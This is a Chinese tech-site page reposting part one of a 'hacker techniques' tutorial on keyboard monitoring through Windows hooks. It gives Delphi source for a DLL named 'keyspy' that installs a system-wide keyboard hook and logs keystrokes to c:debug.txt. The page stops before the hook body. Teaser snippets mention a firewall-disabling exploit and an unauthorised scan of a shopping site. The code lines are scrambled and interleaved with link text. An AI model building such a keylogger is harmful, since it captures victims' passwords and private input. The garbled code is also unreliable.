当前位置:首页 » 服务器技术
开发技术指南» 文章正文
    引言: 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。
 

 

    摘要:黑客公布了一个代码。攻击者利用这个代码能够关闭某些windows xp计算机的windows防火墙。 这个代码是在星期日(10月29日)上午在互联网上公布的。利用这个代码,攻击者能够关闭运行windows互联网连接服务(ics)的全面使用补丁的windows xp计算机的windows防火墙。互联网连接服务能够让用户把自己的计算机变成一台路由器,与局域网上的其它计算机共享互联网连接。这个服务一般是在家庭和小企业使用的。 ncircle网络安全公司的研......
    摘要:同学给我介绍了一个电子商务网站,因为自己读的就是电子商务专业,加上对网络安全比较感兴趣,所以看了这样的好网站,当然要帮忙测试下网络安全啦,首先做下常见端口扫描,咦,有状况…… 6129端口开了,6129是上段时间在网上比较流行的一个远程控制软件的端口,想想网管自己应该不会给自己主机装个这样的玩意儿吧。难道……嗯,继续扫扫,调出流光,扫啊扫,建立空连接失败,没有弱口令,iis没有漏洞,mssql连sa都改了密码……不会啊~这个网站防御措施做的还是蛮足的啊......


黑客技术:利用Hook技术实现键盘监控(1)

 一、hook(钩子)的实现:

hook是应用程序在microsoft windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果hook过程在应用程序中实现,若应用程序不是当前窗口时,该hook就不起作用;如果hook在dll中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在dll中实现hook的方式。

library keyspy; 【相关文章:通过JDBC连接oracle数据库

1.新建一个导出两个函数的dll文件,在hookproc.pas中定义了钩子具体实现过程。代码如下: 【扩展阅读:Oracle数据字典说明

windows, messages, hookproc in ’hookproc.pas’; 【扩展信息:Oracle数据库强制索引

uses

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在hookproc.pas中实现了钩子具体过程:

unit hookproc;

interface

uses

windows, messages, sysutils, controls, stdctrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;//卸载钩子

procedure keyhookexit;far;

const

afilename=’c:debug.txt’;//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation


...   下一页
    摘要:安全与带宽的危机 某企业大厦网络(以下简称b大厦)受到了带宽和安全问题的困扰,为此,网络中心开始酝酿网络的升级改造。 b大厦内有研究院、集团、公司等单位。大厦内所有的计算机使用某大学(以下简称a大学)校园网分配的真实internet ip,共有7个24位掩码网段,下面又进一步划分了不同掩码长度的子网,计有近500台计算机,运行windows nt、windows 9x、solaris、aix、irix等多种操作系统。中心交换机为ibm 8274,安......
» 本期热门文章:

©2000-2007 All Rights Reserved. 最佳浏览:1024X768 MSIE